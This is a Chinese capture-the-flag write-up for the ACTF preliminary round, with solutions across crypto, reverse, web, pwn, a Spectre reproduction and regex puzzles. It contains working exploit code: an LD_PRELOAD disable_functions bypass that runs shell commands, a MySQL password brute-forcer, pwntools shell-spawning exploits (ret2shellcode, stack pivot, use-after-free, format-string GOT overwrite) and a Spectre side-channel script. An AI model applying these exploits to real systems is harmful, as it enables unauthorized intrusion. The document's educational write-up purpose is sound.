前言

​ 为时一星期的ACTF初赛结束了。这次比赛让我体验到了相对更进阶一些的CTF夺旗制下的题目。题目出得都挺用心,虽然有的做起来想打人,但总结时感觉很多部分都是经过精心思考设计的。(表白出题人(们)~)

Albeit,尽管初赛前三天因为身体缘故没能做题,但最后还是侥幸拿到了Rank 1。

​ 就我个人而言,主要还是得益于有一些基础,而且比较愿意肝。正则表达式两题占了很大的分值,对我这种相对熟悉正则的人无疑是一种幸运。

​ 不过身为二进制手,居然因为不熟悉IDA Python而在一些逆向题上手足无措,确实暴露了我的知识缺陷。同时,对各种堆利用也不甚熟练,导致堆题解题缓慢,没法及时拿到更多分,也是需要关注的问题。

Crypto

naive_PRNG0

真正的白给题

​ 通过nc连接服务器,发现是一个伪随机器。而且连随机数种子都没有设置。

​ 直接记录下第一个随机数,nc重连一次,输入,获得flag。

Reverse

SimpleCheck

​ 反编译之后是一个简单的安卓应用,主要逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.example.xiaosai1;

public class Check {
private static int[] f1 = new int[]{73, 56, 84, 60, 125, 13, 93, 57, 10, 57, 19, 2, 40, 66, 34, 111};
private static int[] f2 = new int[]{69, 82, 47, 3, 85, 66, 15, 33, 27, 9, 108, 32, 127, 6, 86, 77};
private static int[] f3 = new int[]{123, 59, 64, 37, 25, 19, 7, 57, 75, 23, 17, 76, 93, 91, 52, 94};
private static int[] str = new int[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
private static int[] str1 = new int[]{28403401, 87419747, 4984693, 91252882, 107179975, 19778984, 10285783, 48873567, 10305812, 52023257, 28909062, 3547070, 2968947, 6424543, 2522656, 10118434};

public static boolean check(String s) {
if (s.length() != 24) {
System.out.println("长度不对!");
return false;
} else if (s.substring(0, 7).equals("aurora") && s.substring(7).equals(Character.valueOf('{')) && s.substring(23).equals(Character.valueOf('}'))) {
System.out.println("格式不对!");
return false;
} else {
int i;
String sub = s.substring(7, 23);
for (i = 0; i < 16; i++) {
int x = sub.charAt(i);
str[i] = ((((f1[i] * x) * x) * x) + (f2[i] * x)) + f3[i];
y = f1 * x ^ 3 + f2 * x + f3
}
for (i = 0; i < 16; i++) {
if (str[i] != str1[i]) {
return false;
}
}
return true;
}
}
}

​ 主要的难点在于要解16个不同参数的三次方程,这里可以把数据处理后导入python replsympy库解决。

​ 取方程在可见字符范围内的整数解,就能获得flag。

Web

easy_php

  • 阅读首页源代码,发现可以通过修改action参数直接跳转。
  • 跳转后发现是一个可以通过POST直接提交php代码的页面
  • 经过尝试system,passthru等均不可用。通过phpinfo发现disable_function被打开
  • 考虑使用LD_PRELOAD+mail
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("ls / > /home/wwwroot/default/result.txt");
}

int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
  • 利用AntSword快速上传编译好的.so和相应php
  • 通过提示文件发现flag在sql中,再次上传.so找到mysqld所在的端口
1
2
3
4
5
...
void payload() {
system("ps -ef|grep mysqld > /home/wwwroot/default/result.txt");
}
...
  • 用php爆破mysql密码,并读取flag,下面直接给出POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$num = 0;
while ($num <= 99999){
$bit = 5;
$num_len = strlen($num);
$zero = '';
for($i=$num_len; $i<$bit; $i++){
$zero .= "0";
}
$real_num = $zero.$num;
$conn = mysql_connect("localhost","root","csuaurora.org#".$real_num ."4");
if ($conn) {
break;
}
$num ++;
}
echo $num;
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$server = 'localhost';

$user = 'root';
$buffer = 'information_schema disable_function mysql performance_schema';

$pass = 'csuaurora.org#202114';

$conn = mysql_connect($server,$user,$pass);

if(!$conn) die('Could not connect: ' . mysql_error());
mysql_select_database("mysql");
$result = mysql_query("SHOW TABLES");
var_dump($result);
while($row = mysql_fetch_array($result))

{

echo $row[0]." ";

}
flush();

mysql_free_result($result);
?>

Pwn

又一个复读机

​ 经过一系列“检查”(瞎按键盘),发现在整型转换时有一个符号溢出。因此实际可以输入任意长payload。又因为NX没有关闭,可以直接用ret2shell

​ POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import sys
context.log_level='debug'

if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./AnotherRepeater")

sh.recvuntil("to reapeat?\n")
sh.sendline("32769")
ads = sh.recvline()
ad = ads.split(' ')[0]
shell = asm(shellcraft.i386.sh())
sh.sendline(shell + 'a' * (0x41B - len(shell)) + p32(0x0) + p32(int(ad, 16)))
sh.interactive()

babystack

​ 耗时比较久的一道题,基本思路是利用多出的0x10个字节利用leave;ret;Gadgetip劫持到栈的更低位,在低位布置好栈,首先将__libc_start_main泄露以获取libc,然后劫持到system函数,完成攻击

​ POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *
import sys
context.log_level='debug'

if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./babystack")

elf = ELF("./babystack")
pop_rdi = 0x400ad3
pop_rsi_r15 = 0x400ad1 # useless
libc_start_main = elf.got['__libc_start_main']
puts_addr = 0x400A0E

sh.recvuntil(">")
sh.sendline(str(0xE0))
l = sh.recvline()
stack_ads = int(l.split()[-1], 16) + 0xD0
sh.recvuntil(">")
sh_str = '/bin/sh\0'
leak_libc = p64(stack_ads - 0x10) + p64(pop_rdi) + p64(libc_start_main) + p64(puts_addr) + p64(stack_ads) + p64(0x4008F6)
sh.send(sh_str + 'a' * (0xD0 - len(leak_libc) - len(sh_str)) + leak_libc + p64(stack_ads - len(leak_libc)) + p64(0x4009BF))
sh.recvline()
leaked_ads = sh.recvuntil('\x0a', drop=True)
start_ads = u64(leaked_ads.ljust(8,'\x00'))
print hex(start_ads)

libc = LibcSearcher("__libc_start_main", start_ads)
libc_system = libc.dump("system") + start_ads - libc.dump('__libc_start_main')
print hex(libc_system)
sh.recvuntil(">")
sh.sendline(str(0xE0))
l = sh.recvline()
stack_ads = int(l.split()[-1], 16) + 0xD0
sh.recvuntil(">")
sh_str = '/bin/sh\0'
call_sys = p64(stack_ads - 0x10) + p64(pop_rdi) + p64(stack_ads - 0xD0) + p64(libc_system)
sh.send(sh_str + 'a' * (0xD0 - len(call_sys) - len(sh_str)) + call_sys + p64(stack_ads - len(call_sys)) + p64(0x4009BF))
sh.interactive()

babyheap

​ 平凡的UAF攻击,利用fastbin操控display最终调用的函数地址,又因为pltsystem函数存在,可以很方便地运行/bin/sh

​ POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'


if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./babyheap")

def create(chunk_size,value):
sh.recvuntil('2019\n')
sh.send('1')
sh.recvuntil('input size:')
sh.sendline(str(chunk_size))
sh.recvuntil('input content:')
sh.send(value)

def delete(index):
sh.recvuntil('2019\n')
sh.send('2')
sh.recvuntil('index:')
sh.sendline(str(index))

def show(index):
sh.recvuntil('2019\n')
sh.send('3')
sh.recvuntil('index:')
sh.sendline(str(index))

bsh = p64(0x602010)
bsh = bsh + '\0' * (0x08 - len(bsh))

create(0x20, '/bin/sr')
create(0x20, '/bin/ss')
delete(1)
delete(0)
create(0x10, bsh + p64(0x4007A0))
create(0x10, bsh + p64(0x4007A0))
show(1)
sh.interactive()
#print(sh.recv())

一个复读机

​ 观察发现有可以自由控制的printf,因此利用FmtStr进行攻击,首先泄露__libc_start_maingot表地址,然后找到对应libc,再通过覆写printfgot表地址为相应system的地址。手动将printf字符串设为/bin/sh,完成攻击。

​ POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *
import sys
context.log_level = 'debug'

if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./OneRepeater")

def exec_fmt(payload):
sh.recvuntil("3) Exit\n")
sh.sendline("1")
sh.sendline(payload)
sh.recvuntil("3) Exit\n")
sh.sendline("2")
return sh.recvuntil("What", drop = True)

elf = ELF("./OneRepeater")
libc_start_main_got = elf.got['__libc_start_main']
printf_got = elf.got['printf']
sh.recvuntil("3) Exit\n")
sh.sendline("1")
stack_ads = int(sh.recvline(), 16)
sh.sendline(p32(libc_start_main_got) + "%" + str(16) + "$s") # ebp - 5x8
sh.recvuntil("3) Exit\n")
sh.sendline("2")
libc_ads = sh.recvuntil("What", drop = True)
libc_start_ads = u32(libc_ads[4:8].ljust(4, '\x00'))
print hex(libc_start_ads)
libc = LibcSearcher("__libc_start_main", libc_start_ads)
libc_system = libc.dump("system") + libc_start_ads - libc.dump('__libc_start_main')
print hex(libc_system)
payload = fmtstr_payload(16, {printf_got: libc_system})
exec_fmt(payload)

sh.interactive() # go interactive

学术前沿 : 幽灵

出题人辛苦了,帮我把复现环境搭好了

​ 按照论文中的方法,参考其中的C代码行为进行复现。由于网络原因,对一个地址只进行了攻击100次诱导和攻击操作,但任然获得了可观的效果。

​ 唯一的弯在于确定偏移,这个在IDA里就能看到。

​ POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
import sys
# context.log_level='debug'

sh = remote("192.168.113.128", "4444")

loc = sh.recvuntil(", could you", drop=True).split(' ')[-1]
flag_address = int(loc, 16)
print "flag address: " + hex(flag_address)


def set_malicious(x):
sh.recvuntil("operation:")
sh.sendline("1")
sh.sendline(str(x))


def set_training(x):
sh.recvuntil("operation:")
sh.sendline("2")
sh.sendline(str(x))


def flush():
sh.recvuntil("operation:")
sh.sendline("3")


def train():
sh.recvuntil("operation:")
sh.sendline("4")


def recv_time():
sh.recvuntil("operation:")
sh.sendline("5")
result = {}
for i in range(256):
line = sh.recvuntil(" Cycles", drop=True).split(' ')
result[int(line[-4])] = int(line[-2])
return result


def exit():
sh.recvuntil("operation:")
sh.sendline("6")

cache_hit_threshold = 200

def exploit(x):
set_malicious(x)
cache_hit = {}
for i in reversed(range(100)):
flush()
set_training(i % 0x10) # 0x10 refers to array1_size
train()
results = recv_time().items()
for result in results:
if result[1] <= cache_hit_threshold and result[0] != i % 0x10:
if cache_hit.has_key(result[0]):
cache_hit[result[0]] = cache_hit[result[0]] + 1
else:
cache_hit[result[0]] = 1
return cache_hit

for i in range(45):
tryit = exploit(i + 0xa0).items()
tryit = sorted(tryit, key=lambda item: item[1], reverse=True)
print tryit[:5]

​ 程序输出如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
[(97, 85), (0, 76), (1, 17), (3, 7), (5, 6)]
[(117, 89), (0, 75), (1, 11), (3, 7), (2, 6)]
[(114, 96), (0, 80), (1, 13), (2, 7), (3, 7)]
[(111, 84), (0, 75), (1, 19), (2, 6), (3, 6)]
[(114, 84), (0, 76), (1, 18), (4, 6), (5, 6)]
[(97, 70), (0, 61), (1, 11), (15, 7), (2, 6)]
[(0, 74), (123, 74), (1, 18), (3, 6), (5, 6)]
[(89, 90), (0, 86), (1, 15), (2, 7), (4, 7)]
[(48, 82), (0, 77), (1, 16), (49, 8), (7, 7)]
[(117, 79), (0, 57), (1, 11), (6, 7), (7, 7)]
[(95, 75), (0, 67), (3, 7), (15, 7), (1, 6)]
[(109, 86), (0, 80), (1, 14), (7, 7), (2, 6)]
[(117, 80), (0, 64), (1, 12), (4, 7), (2, 6)]
[(117, 78), (0, 69), (1, 14), (2, 7), (11, 7)]
[(53, 91), (0, 84), (1, 13), (3, 8), (9, 8)]
[(116, 94), (0, 82), (1, 14), (2, 7), (4, 7)]
[(95, 88), (0, 79), (1, 16), (3, 7), (2, 6)]
[(52, 87), (0, 84), (1, 17), (3, 7), (2, 6)]
[(95, 89), (0, 81), (1, 16), (2, 7), (3, 7)]
[(103, 83), (0, 73), (1, 8), (2, 7), (3, 6)]
[(52, 79), (0, 76), (1, 17), (53, 7), (2, 6)]
[(0, 79), (110, 71), (1, 16), (3, 7), (11, 7)]
[(49, 73), (0, 67), (1, 12), (10, 7), (3, 6)]
[(117, 74), (0, 66), (1, 11), (7, 7), (2, 6)]
[(115, 83), (0, 71), (1, 15), (2, 7), (12, 7)]
[(95, 77), (0, 73), (1, 14), (2, 7), (6, 6)]
[(0, 76), (53, 62), (1, 9), (2, 7), (4, 6)]
[(0, 73), (112, 71), (1, 10), (3, 7), (16, 6)]
[(0, 80), (101, 66), (1, 13), (3, 7), (102, 7)]
[(0, 73), (99, 70), (1, 13), (2, 7), (3, 6)]
[(55, 83), (0, 76), (1, 14), (4, 7), (3, 6)]
[(117, 85), (0, 79), (1, 9), (4, 7), (6, 7)]
[(114, 85), (0, 75), (1, 12), (3, 7), (2, 6)]
[(52, 81), (0, 76), (1, 13), (3, 6), (4, 6)]
[(95, 92), (0, 85), (1, 12), (5, 8), (2, 7)]
[(0, 82), (65, 82), (1, 15), (4, 7), (7, 7)]
[(110, 90), (0, 83), (1, 17), (2, 7), (3, 6)]
[(52, 83), (0, 82), (1, 15), (4, 7), (7, 7)]
[(49, 83), (0, 72), (1, 16), (3, 7), (7, 7)]
[(121, 81), (0, 79), (1, 15), (2, 6), (4, 6)]
[(122, 84), (0, 67), (1, 11), (2, 7), (3, 7)]
[(52, 78), (0, 63), (1, 10), (2, 7), (3, 7)]
[(125, 81), (0, 63), (1, 10), (2, 6), (3, 6)]
[(0, 59), (1, 7), (4, 7), (5, 7), (6, 6)]
[(0, 63), (1, 16), (2, 6), (5, 6), (6, 5)]

​ 通过脚本对0进行移除后,剩下cache hit最多的就是flag对应的字符

Misc

nc

​ 用Wireshark打开nc.pcapng,第一个数据包里所含的疑似Base64字符串解码后,获得以下python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import time,sys
from pwn import *
from flag import FLAG

server_port = 4399

key = int(time.time())
print "using key: %d" % key

def hash512(s):
h = hashlib.sha512()
h.update(str(s).encode("utf-8"))
return h.hexdigest()

def str2int(s):
return int("".join([str(ord(c)) for c in s]))

def do_server():
while True:
l = listen(server_port)
p = l.wait_for_connection()
p.sendline(hash512(str(key)))
recv_key = p.recvline()[:-1]
if(hash512(key)!=recv_key):
print "key error!"
continue
recv_mess = p.recvline()[:-1]
print "received:%d"%(int(recv_mess) ^ key)
p.close()


def do_client():
p = remote("127.0.0.1", server_port)
recv_key = p.recvline()[:-1]
if(hash512(key)!=recv_key):
print "key error!"
return
p.sendline(hash512(str(key)))
p.sendline(str(str2int(FLAG) ^ key).strip("L"))
p.close()
print "end"


def main():
if len(sys.argv) != 2 or sys.argv[1] not in ["server", "client"]:
print "usage: %s [server|client]"
return

if sys.argv[1] == "server":
do_server()
else:
do_client()


if __name__ == "__main__":
main()

​ 观察发现程序是一个通过loopback回传一段由时间戳生成的key在经过sha512后的结果。并且,flag在与key进行异或后也进行了一次传输。

​ 通过数据包可以获取key的哈希值和flag的密文。再用数据包产生的时间戳进行简单的爆破,可以获得原key。从而恢复flag。

regular expression 0

​ 考正则表达式

​ POC:

1
2
3
4
5
^[^o]*$

^(?!(..+)\1+$)

^(x|xx|x{4}|x{8}+)$

​ 第一个通过字符集查重很快就能发现,是要排除所有o

​ 第二个的自动机结构长这样,顺便安利一下这个网址

​ 类似的还有regex101

​ 第三个稍微用了点小花招,因为不匹配列表里没有一个是8的倍数,所以匹配规则很有限。

regular expression 1

​ 任然是正则表达式

​ POC:

1
2
3
4
5
6
7
8
9
^(x+)(x+)-\1=\2$

(x*)(x*)\+(x*)(x*)=\1\3\+\2\4$

^gcd\((x+)\1*,\1+\)=\1$

^[0369]*(([147][0369]*|[258][0369]*[258][0369]*)([147][0369]*[258][0369]*)*([258][0369]*|[147][0369]*[147][0369]*)|[258][0369]*[147][0369]*)*$

^(x{1}|x{2}|x{3}|x{5}|x{8}|x{13}|x{21}|x{34}|x{55}|x{89}|x{144}|x{233}|x{377}|x{610}|x{987}|x{1597}|x{2584}|x{4181}|x{6765})$

​ 因为有提示,前三个都非常好解

​ 第四个参考了一篇博文:链接

​ 第五个,考虑到表达式长度上限很长,可以直接进行特例匹配。